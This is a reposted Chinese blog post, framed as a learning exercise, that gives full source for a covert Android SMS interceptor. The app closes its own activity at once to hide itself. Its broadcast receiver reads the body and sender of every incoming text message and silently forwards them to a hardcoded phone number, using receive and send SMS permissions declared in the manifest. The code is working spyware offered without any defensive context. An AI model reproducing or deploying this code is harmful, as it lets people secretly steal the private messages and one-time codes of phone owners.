码迷,mamicode.com
首页 > 其他好文 > 详细

短信监听器学习

时间:2014-10-19 16:53:30      阅读:196      评论:0      收藏:0      [点我收藏+]

标签:des   android   style   blog   http   io   os   ar   java   

还是关于broadcastreceiver的应用,比较有趣~~~·

1 定义一个activity,并删除布局文件,并写入finish()方法,使其一开始就挂掉~~~~~

package com.djf.smslistener;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		finish();
	}
}

 

2 定义一个广播接收者,监听短信的到来并获取短信的内容,同时还可以将短信发给其他人~~~~

package com.djf.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsBroadCastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		Object[] objects = (Object[]) intent.getExtras().get("pdus");
		for (Object object : objects) {
			// SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])
			// object);
			// String bodyString = smsMessage.getMessageBody();
			// String destion = smsMessage.getOriginatingAddress();
			SmsMessage smsMessage = android.telephony.SmsMessage
					.createFromPdu((byte[]) object);
			String bodyString = smsMessage.getMessageBody();
			String destion = smsMessage.getOriginatingAddress();
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("13707620956", null, bodyString+"````"+destion, null, null);
		}
	}

}

 

3 注意权限的获取,很重要··············

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.djf.smslistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="9"
        android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.djf.smslistener.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver android:name="com.djf.smslistener.SmsBroadCastReceiver" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

 

短信监听器学习

标签:des   android   style   blog   http   io   os   ar   java   

原文地址:http://www.cnblogs.com/jiefeiduan/p/4035061.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!